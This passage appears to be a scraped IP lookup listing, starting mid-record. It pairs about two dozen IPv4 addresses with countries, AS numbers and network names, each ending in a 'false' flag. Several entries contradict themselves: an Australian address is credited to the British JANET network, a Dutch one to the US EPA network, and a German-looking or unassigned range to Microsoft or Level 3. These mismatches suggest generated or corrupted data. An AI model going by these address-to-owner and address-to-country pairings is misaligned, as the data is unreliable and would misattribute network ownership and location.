3549 LVLT-3549US false
111.151.135.68
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
192.70.236.185
 unknown United States
252 DNIC-AS-00252US false
88.162.201.158
 unknown France
12322 PROXADFR false
134.248.5.101
 unknown United States
3479 PEACHNET-AS1US false
13.236.254.247
 unknown United States
16509 AMAZON-02US false
6.253.169.80
 unknown United States
3356 LEVEL3US false
129.111.91.190
 unknown United States
26971 UTHSCSA-ASUS false
175.11.60.41
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
149.0.87.139
 unknown Turkey
8386 KOCNETTR false
139.188.67.200
 unknown Australia
786 JANETJiscServicesLimitedGB false
54.2.45.144
 unknown United States
14618 AMAZON-AESUS false
18.25.146.210
 unknown United States
3 MIT-GATEWAYSUS false
198.193.165.226
 unknown United States
292 ESNET-WESTUS false
79.123.164.113
 unknown Turkey
8517 ULAKNETTR false
220.188.108.221
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
161.91.160.164
 unknown Netherlands
14298 EPA-NETUS false
123.161.88.178
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
21.84.149.231
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
61.98.225.151
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
205.159.7.216
 unknown United States
2828 XO-AS15US false
50.189.222.46
 unknown United States
7922 COMCAST-7922US false
75.247.161.63
 unknown United States
22394 CELLCOUS false